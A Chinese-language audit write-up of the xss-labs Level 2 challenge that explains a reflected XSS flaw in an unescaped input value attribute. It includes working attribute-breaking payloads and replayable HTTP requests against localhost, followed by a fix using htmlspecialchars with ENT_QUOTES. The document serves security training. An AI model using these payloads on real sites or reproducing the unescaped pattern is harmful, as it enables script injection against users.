xss-labs Level2 代码审计报告
目标文件:
level2.php| 漏洞类型: 反射型 XSS —— HTML 属性上下文注入(Attribute Injection) | CWE: CWE-79 / CWE-80 | 危害等级: 高危
风险路径:GET /level2.php?keyword=<payload>→<input value="...">属性注入
一、漏洞代码定位
level2.php 第 17-22 行:
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'"> // L20 危险:value 属性用未经转义的原始 $str
<input type=submit name=submit value="搜索"/>
</form>
</center>';
漏洞点: L20。<h2> 里的输出用了 htmlspecialchars()(安全),但同一份 $str 又被原样拼进了 <input name=keyword value="..."> 的双引号属性中 —— 开发者只转义了一处,漏了另一处。
二、漏洞原理
- 上一行(L18)对
$str做了 HTML 实体转义,容易让人误以为"整页安全"。 - 但 L20 的属性值用原始
$str直接拼接。攻击者用双引号"闭合value属性、再用>闭合<input>标签,即可注入任意新标签/事件属性。 - 这是典型的"过滤/转义覆盖不全"导致的属性上下文注入。
三、利用方式与 Yakit 可重放数据包
Payload(URL 解码后):
?keyword="><script>alert(1)</script>
渲染结果: <input name=keyword value=""><script>alert(1)</script>"> → value 被闭合,<script> 作为新元素执行。
备选 Payload(事件属性注入,无需 </>):
?keyword=" onfocus=alert(1) autofocus="
Yakit 可重放原始请求(二选一):
GET /level2.php?keyword=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
GET /level2.php?keyword=%22%20onfocus=alert(1)%20autofocus=%22 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close
触发方式: 发送后 <script> 立即执行;事件属性方案则 autofocus 聚焦输入框触发 onfocus。均命中通关逻辑。
四、修复建议
$str = $_GET["keyword"] ?? "";
$safe = htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); // 统一转义一次,供所有输出点复用
echo "<h2 align=center>没有找到和".$safe."相关的结果.</h2>"
. '<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$safe.'"> // 属性上下文同样使用转义后的值
<input type=submit name=submit value="搜索"/>
</form></center>';
要点:
- 同一个变量进入任何 HTML 输出点前都必须转义,转义一次后复用于全部输出点,避免"这处转义了那处漏了"。
- 属性上下文建议用
ENT_QUOTES(同时转义单双引号)。 - 从源头控制:对
keyword做白名单校验(长度、字符集),输入不合法则直接拒绝。
五、备注
- 该关不依赖 PHP 版本(属性值完全未转义),所有版本均可利用。
- 教训总结: 一处输入可能进入多个输出上下文,每个上下文都要单独做对应编码。
正文完